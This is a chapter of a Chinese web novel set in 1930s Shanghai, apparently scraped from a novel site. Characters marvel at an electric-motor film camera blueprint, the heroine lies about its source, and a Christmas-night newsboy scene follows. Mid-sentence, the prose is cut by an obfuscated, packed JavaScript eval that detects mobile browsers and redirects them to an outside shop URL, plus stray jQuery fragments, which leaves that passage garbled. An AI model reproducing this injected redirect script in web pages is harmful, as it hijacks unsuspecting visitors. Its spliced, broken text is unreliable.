26. 圣诞冰场(一)

作品:《民国好莱坞

    陆世铮走到林秀山身侧,俯身细看,他对机械改造虽不是专家,但能看出这是一张摄影机的的设计图,而且与现今通用的手摇摄影机大不相同。


    这张图上的机身更紧凑,多了许多从未见过的部件,最显眼的是右侧那个标着“Stromverung”(电源供应)的方块。


    "了不起,太了不起了。"林秀山很兴奋地指着图纸给大家介绍:“这是要现在的摄影机改头换面啊!"


    金曼丽冲他手臂锤了一下:"怎么改头换面?你赶紧讲讲,别卖关子。"


    林秀山的声音因激动而微微发颤,他扶了扶眼镜:


    “现今我们用的摄影机,原理其实和三十多年前的那台,也就是最开始发明出来的那台没什么两样。”


    他的手指点向图纸左侧的传统结构示意图:“依靠手摇柄带动齿轮,齿轮驱动胶片齿轮,可人手终究不是机器啊!”


    林秀山的声音高了起来,他举起手,做了个波浪的造型,"人手的力道有轻重,速度有快慢,呼吸一起一伏,手腕微微一颤——所有这些细微的不稳定,传到胶片上就成了画面的抖动。”


    周弥接话道:“是的,晴天光线足、胶片感光度高时还好些,一旦进光量不足需要放慢转速,或是摄影师疲劳手酸……”


    金曼丽忍不住打岔:“何止细微的抖动!我看那些小公司拍的片子,根本就是地动山摇,闪得人眼晕头疼。即便像华光、众一这样的大公司,也只能勉强把抖动控制在细微的程度。可再细微,它也是抖啊!所以现在很多老年人看不了电影,老年人本就眼睛不好,你再拉她去电影院,那可真是很大的仇了。”


    陆世铮失笑,坦然承认:“金女士批评得是。这确实是行业通病,无人能免。主要还是技术限制,现在在国外,已经解决了画面抖动的问题。"


    林秀山已迫不及待地将手指滑向图纸右侧全新的设计:“但这份图纸,彻底改变了驱动方式。”


    图纸上新结构的核心是一个拳头大小的金属匣子,标注着“直流电机”。


    “这里,”林秀山的声音又高了起来,“改用电机驱动。六伏特直流电,通过这个稳压模块——”他指向旁边一个复杂的电路图,“这样就能输出绝对稳定的转速。"


    听到这里,陆世铮很有些激动:"那是不是能够提高帧数呢?能不能提高到现在国际通用的每秒二十四帧水平?"


    林秀山一怔,挠了挠头,有点不好意思地问道:"怎么样叫每秒二十四帧?真抱歉,我对电影实在了解浅显。"


    这一问,倒像按到周弥的开关了,这个教科书上最基本的名词解释可真是让人张口就来的程度:


    "简单来说,每一秒的影片画面,是由二十四张连续的静态图像快速播放组成的。人眼的视觉暂留效应会把静态衔接成流畅的动态,这是电影的核心技术原理,也是长期沿用的行业标准。"


    在场几个人都怔住了。


    林秀山心里想:啥叫视觉暂留?


    陆世铮心里想:长期?这不是前两年有声电影出现刚研发出来的新技术么?


    金曼丽心里想:秀山真丢人!不会连视觉暂留是什么意思都不知道吧?真是白熏陶他了。


    最后只有林秀山推了推眼镜,问了出来:"那么…什么叫视觉暂留?真抱歉,我对电影实在了解浅显。"


    金曼丽一拍他胳膊:"你没玩过走马灯么?"


    "那还是玩过的。"


    "走马灯都是静态的画面,为什么一转动,就能连接成一个奔跑的动作呢?"


    林秀山毕竟是大学教授,这么一举例,马上就领悟了:"哦!我明白了!就是说,一个画面消失后,它还在人眼里留个影儿,停留一小会儿。前一个影儿还没消,后一个画面又来了,这时候我们的大脑就会把它们连起来,权当成是动起来了!对吧?


    周弥点头道:"是的,这就是电影能成立的生理基础。脑补是关键。"


    "脑补?"大家很疑惑。


    "…大脑补充。"


    "嗯!很形象的词语!"林秀山举起拇指赞美,又问道:"那也就是说,这每秒钟的帧数越多,画面就越流畅啦。"


    周弥得意道:"理论上是这样,不过按照边际效用递减的原则,我想,二十四帧,应该可以保持一百年不用再变更了。"


    林秀山笑了一笑,做了论断:"多谢各位老师指教了,各行各业,实在是博大精深。那么,我敢告诉你们,这个机器,肯定是可以达到每秒二十四帧的!”


    每秒二十四帧!


    陆世铮听到这句话,实在激动极了。


    每秒二十四帧意味着可以在同一个镜头里,实现慢动作到快动作的无缝过渡。


    意味着再也不用担心因为手摇不稳而废掉整卷胶片。


    意味着突破了国外的技术封锁,追上了国际最领先的水平。


    这是在太让人震惊,也太让人兴奋了。周弥到底是怎么设计得出这些的?电影方面,真的有她不懂的知识么?


    林秀山忽然猛地一拍大腿:“电源呢?这上面标的是直流六伏特,可现今市面上根本没有这么小巧的便携电池!”


    “有的。”周弥从容道,“美国贝尔实验室去年已研发出镍镉蓄电池,体积只有香烟盒大小,容量足够支撑半小时拍摄。虽然尚未商用,但通过一些渠道应该可以搞到。您先改造其他部分,我拿到电池…或者说是电池的制作方法,我们再对接一下。”


    她心下早已经盘算好,回去要多敲打敲打那座钟,让它多多掉装备。所谓钟不啄,不成器,既然能吐出摄影机图纸,想必电池技术也该在“金手指”的供货范围内。


    自己动手,丰衣足食,虽然她对技术完全不通,但做个献和氏璧的卞和一定没问题。


    林秀山"哦"了一声,随即推了推眼镜,问题终究还是来了:“不过周小姐……这份图纸,你究竟是从何处得来的?”


    周弥面不改色,还是之前忽悠陆世铮的那套说辞:“我师父寄来的。”


    “师父?”林秀山一怔。


    “他在国外,性子有些古怪,不太愿意让人知道他的名字。”周弥拿餐巾纸擦了一下手,很自然地笑了笑,“实在抱歉。”


    一位隐居海外的技术高人,脾性孤僻,只与有缘的弟子联络。在崇尚“师承”“秘传”的民国语境里,其实很令人信服。


    果然,林秀山眉毛往上耸了耸,露出了然的神情,又还带了几分敬畏:“原来如此……能设计出这样的图纸,尊师一定是位了不起的人物。”


    周弥哈哈一笑,并不否认。


    她现在于撒谎一道,越发驾轻就熟了。


    说来也怪,从前她是个再老实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078543|193976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不过的人,其实细想来,那时的“老实”,不过是因为没什么能撬动的资源,既然没有值得冒险的利益,自然犯不上为一句谎话背上心理负担。


    可如今不一样了。


    她还是会因撒谎而有羞耻感,但这点羞耻,已经算不了什么。


    左右不过是空手套白狼嘛。


    侍者此时又进来奉上甜品,但四人都沉浸在研究图纸的兴奋中,甜品也没有吃,侍者在旁边瞧着,心里很是开心,客人不吃,自然最后是落在侍者嘴里。于是一屋子人,真是各乐各的,其乐融融了。


    从红房子西餐厅出来时,已近十点。


    夜风带着黄浦江的冷湿气流吹过来,金曼丽挽紧林秀山的胳膊,回头笑道:“周小姐,改日一定要来我家里坐坐。我那儿有好些电影杂志,你一定喜欢。”


    周弥笑着应下,又和林秀山说了几句改造摄影机的事,约好之后碰头的日子,又交换了联系方式。


    看着林家夫妇上了车,陆世铮转身对周弥道:“我送你回去。”


    车子驶出红房子的拱门,融入平安夜后的上海街巷。霓虹渐稀,路灯在湿漉漉的街面上投下昏黄的光晕。行人也少了,只有零星的黄包车夫跺着脚等生意。


    开到四川路口时,一个瘦小的身影突然从巷子里钻出来,挥舞着手臂。


    “先生!小姐!买份报吧!租界公园开真冰场啦!圣诞特别开放!”


    是个十来岁的报童,穿着补丁摞补丁的棉袄,脸和手冻得通红,像刚在冷水里浸过。他手里攥着最后几份《申报》,油墨在路灯下泛着新印的光泽。


    陆世铮摇下车窗。报童的脸立马挤住了车窗空隙,冻得发皴的鼻尖几乎要碰到玻璃,手中摇着报纸:


    “先生买张报吧!顾家宅公园开真冰场啦!圣诞特别开放!带小姐去玩玩吧!可好玩了!”


    油墨味混着孩子身上的寒气飘进来。陆世铮笑道:“报纸都是早上买的,搁到夜里,新闻早不新了,还能卖出去么?”


    报童叹口气,那叹气声老气横秋的,与那张稚嫩的脸很不相称。他并不解话茬,只热情地把报纸又往前递了递:“先生买张报吧!”


    陆世铮不再多说,打开皮夹,从里面抽出几张钞票,对报童道:“我都要了,快回家吧,夜里凉。”


    报童攥着钞票愣了两秒,忽然咧嘴笑了,缺了门牙的豁口在路灯下特别明显。


    "谢谢英俊的先生!谢谢美丽的小姐!先生小姐好登对,好人有好报!圣诞节快乐!"


    说完他转身就跑,破棉鞋在石板路上啪嗒啪嗒响,像只终于归巢的雀儿。


    陆世铮只是看这报童可怜,并没打着什么别的主意,但这报童一说他们两个登对,心里不禁有些暗喜,从车内后视镜里看周弥的反应。


    但周弥只是自顾自拿着报纸翻看,并没有什么别的表示,只是很认同地说了一句:“陆先生确实是好人。”


    说到这,抬起头冲他一笑,却见陆世铮的眼睛正望着后视镜。


    他看得那样专注,那样出神,连后面汽车接连响起的喇叭声都像没听见。


    难道后视镜里看不到后面的车吗?周弥好奇地,也将目光投向后视镜。


    两双很漂亮的眼睛,一双沉稳如墨玉凝潭,一双明澈若秋水横波,就在那面小小的、略带弧度的镜子里,猝不及防地相遇了。